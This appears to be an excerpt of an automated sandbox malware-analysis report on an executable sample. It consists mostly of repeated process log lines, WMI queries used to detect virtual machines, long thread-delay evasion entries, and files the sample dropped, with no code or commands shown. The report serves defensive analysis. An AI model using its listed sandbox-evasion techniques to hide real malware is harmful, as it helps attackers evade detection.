Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3491	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4369	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2437
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 458
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5861
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1770
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5009
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 924
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3392
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1563
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2375
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1358
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3355
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 956

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\_ssl.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI61762\_hashlib.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17268

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6768	Thread sleep count: 3491 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 320	Thread sleep count: 114 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7452	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5612	Thread sleep count: 4369 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4796	Thread sleep count: 127 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7456	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7196	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1848	Thread sleep count: 2437 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7448	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7184	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep count: 458 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7924	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512	Thread sleep count: 5009 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7208	Thread sleep count: 924 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7844	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8040	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7440	Thread sleep count: 3392 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8124	Thread sleep count: 1563 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7424	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4164	Thread sleep count: 2375 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4832	Thread sleep count: 1358 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1868	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4760	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7104	Thread sleep count: 3355 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5900	Thread sleep count: 956 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7548	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3608	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
